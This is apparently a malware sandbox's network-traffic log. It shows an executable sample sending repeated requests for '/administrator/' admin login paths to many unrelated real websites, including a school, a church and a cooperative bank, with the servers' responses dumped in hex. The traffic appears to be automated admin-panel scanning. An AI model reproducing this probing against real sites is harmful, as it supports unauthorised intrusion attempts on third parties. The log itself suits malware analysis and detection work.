Nov 26, 2023 06:59:30.946558952 CET	298	OUT	GET /administrator/index.php HTTP/1.1 Host: svenssonfriends.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://svenssonfriends.com/administrator/
Nov 26, 2023 06:59:31.044447899 CET	419	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-127.ec2.internal X-Request-Id: 515e9e4a-fd29-4be9-b345-83d3b1b5d0c0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	55291	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.848700047 CET	234	OUT	GET /administrator/ HTTP/1.1 Host: harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.047764063 CET	415	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cache-control: no-cache, no-store, must-revalidate location: https://www.harasduberry.com/administrator/ x-jimdo-instance: i-0710413cc70156289 x-jimdo-wid: s5310617dc1962275 Server: nginx Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	55339	3.94.41.167	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.848834038 CET	234	OUT	GET /administrator/ HTTP/1.1 Host: robinsonland.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.943165064 CET	209	IN	HTTP/1.1 302 Found content-length: 0 date: Sun, 26 Nov 2023 05:59:30 GMT location: https://www.hugedomains.com/domain_profile.cfm?d=robinsonland.com
Nov 26, 2023 06:59:31.256367922 CET	209	IN	HTTP/1.1 302 Found content-length: 0 date: Sun, 26 Nov 2023 05:59:30 GMT location: https://www.hugedomains.com/domain_profile.cfm?d=robinsonland.com
Nov 26, 2023 06:59:32.749380112 CET	319	OUT	GET /administrator/index.php HTTP/1.1 Host: robinsonland.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.hugedomains.com/domain_profile.cfm?d=robinsonland.com
Nov 26, 2023 06:59:32.843569040 CET	209	IN	HTTP/1.1 302 Found content-length: 0 date: Sun, 26 Nov 2023 05:59:32 GMT location: https://www.hugedomains.com/domain_profile.cfm?d=robinsonland.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	55289	162.144.64.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.848866940 CET	231	OUT	GET /administrator/ HTTP/1.1 Host: tcetmumbai.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.033025980 CET	499	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Location: https://tcetmumbai.in/administrator/ Content-Length: 244 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 63 65 74 6d 75 6d 62 61 69 2e 69 6e 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://tcetmumbai.in/administrator/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	55325	162.210.96.117	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.849009037 CET	240	OUT	GET /administrator/ HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.989938974 CET	1340	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Vary: accept-language,accept-charset,User-Agent Accept-Ranges: bytes Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Content-Language: en Data Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0d 0a 31 31 0d 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 0d 0a 32 31 0d 0a 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 0d 0a 32 39 0d 0a 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 3c 73 70 61 6e 3e 0d 0a 32 39 0d 0a 41 70 Data Ascii: c8<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="een" xml:lang="13en"><head><title>38Object not found!</title><link rev="made" href="mailto:113%5bno%20address%20given%5d" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>1bObject not found!</h1><p>39 The requested URL was not found on this server. 57 If you entered the URL manually please check your spelling and try again. 29</p><p>48If you think this is a server error, please contactthe <a href="mailto:2b%5bno%20address%20given%5d">webmaster</a>.11</p><h2>Error 21404</h2><address> <a href="/">29coralparkchristian.org</a><br /> <span>29Ap
Nov 26, 2023 06:59:30.989949942 CET	106	IN	Data Raw: 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 31 0d 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ache</span></address></body></html>10
Nov 26, 2023 06:59:30.990232944 CET	304	OUT	GET /administrator/index.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://coralparkchristian.org/administrator/
Nov 26, 2023 06:59:31.181843996 CET	1340	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache Vary: accept-language,accept-charset,User-Agent Accept-Ranges: bytes Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Content-Language: en Data Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 32 33 0d 0a 0a 0a 20 20 20 20 54 68 65 20 6c 69 6e 6b 20 6f 6e 20 74 68 65 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 38 64 0d 0a 68 74 74 70 3a 2f 2f 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 72 65 66 65 72 72 69 6e 67 0a 20 20 20 20 70 61 67 65 3c 2f 61 3e 20 73 65 65 6d 73 20 74 6f 20 62 65 20 77 72 6f 6e 67 20 6f 72 20 6f 75 74 64 61 74 65 64 2e 20 50 6c 65 61 73 65 20 69 6e 66 6f 72 6d 20 74 68 65 20 61 75 74 68 6f 72 20 6f 66 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 35 34 0d 0a 68 74 74 70 3a 2f 2f 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 74 68 61 74 20 70 61 67 65 3c 2f 61 3e 0a 20 20 20 20 61 62 6f 75 74 20 74 68 65 20 65 72 72 6f 72 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 Data Ascii: c8<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="een" xml:lang="13en"><head><title>38Object not found!</title><link rev="made" href="mailto:113%5bno%20address%20given%5d" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>1bObject not found!</h1><p>39 The requested URL was not found on this server. 23 The link on the <a href="8dhttp://coralparkchristian.org/administrator/">referring page</a> seems to be wrong or outdated. Please inform the author of <a href="54http://coralparkchristian.org/administrator/">that page</a> about the error. 29</p><p>48If you think this is a server error, please contactt
Nov 26, 2023 06:59:31.181857109 CET	291	IN	Data Raw: 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0d 0a 31 31 0d 0a 0a 3c 2f 70 3e 0a 0a 3c Data Ascii: he <a href="mailto:2b%5bno%20address%20given%5d">webmaster</a>.11</p><h2>Error 21404</h2><address> <a href="/">29coralparkchristian.org</a><br /> <span>29Apache</span></address></body></html>10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	55300	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.849260092 CET	237	OUT	GET /administrator/ HTTP/1.1 Host: grg17geblergasse.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.759289980 CET	385	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://www.grg17geblergasse.at/administrator/ Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Nov 26, 2023 06:59:31.767996073 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	55301	213.0.13.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.849483967 CET	233	OUT	GET /administrator/ HTTP/1.1 Host: ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.057362080 CET	529	IN	HTTP/1.1 302 Found Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Location: https://www.ceuandalucia.es/administrator/ Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 4f 4d 4f c3 30 0c bd f7 57 98 de a9 cb b8 20 64 22 c1 da 89 49 03 2a 91 1d 38 9a c6 28 95 da a6 4a d2 55 fc 7b d2 6d 27 2e 96 ed e7 f7 61 ba a9 3e b6 fa ab a9 e1 55 bf 1d a0 39 be 1c f6 5b c8 6f 11 f7 b5 de 21 56 ba ba 20 9b a2 44 ac df 73 95 91 8d 43 af c8 0a 9b 34 c4 2e f6 a2 ee cb 0d ec dc 3c 1a c2 cb 22 23 3c 1f d0 b7 33 bf 2b e7 4e 5d f1 d4 65 34 29 6d 05 8c 6b e7 41 c6 08 96 03 0c ee 24 06 88 c1 7a f9 79 ca 6d 8c 53 78 44 5c 96 a5 68 65 e6 d1 70 3f b7 1d 17 12 90 cd d0 8d 5d 88 9e a3 f3 98 2b 2b 5e 08 59 15 84 d3 ea e5 53 61 63 bc 84 a0 9e 27 6e 93 d5 a7 f8 93 78 e0 08 ff c4 a0 71 3e c2 43 99 f8 57 46 8a 7e 0e 9d a2 ae 8f 66 7f 35 3d 7b ff 23 01 00 00 Data Ascii: ]OMO0W d"I*8(JU{m'.a>U9[o!V DsC4.<"#<3+N]e4)mkA$zymSxD\hep?]++^YSac'nxq>CWF~f5={#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	55286	164.52.221.51	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.849534988 CET	228	OUT	GET /administrator/ HTTP/1.1 Host: gccb.co.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.636507034 CET	1340	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache X-Powered-By: PHP/8.0.20 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://gccb.co.in/wp-json/>; rel="https://api.w.org/" Vary: User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 32 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 73 2e 77 2e 6f 72 67 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e Data Ascii: 1022<!doctype html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11"><title>Page not found – The Godhra City Co-op Bank Ltd.</title><meta name='robots' content='max-image-preview:large' /><link rel="dns-prefetch" href="//fonts.googleapis.com"><link rel="dns-prefetch" href="//s.w.org"><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="The Godhra City Co-op Bank Ltd. » Feed" href="https://gccb.co.in/feed/" /><link rel="alternate" type="application/rss+xml" title="The Godhra City Co-op Bank Ltd. » Comments Feed" href="https://gccb.co.in/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".
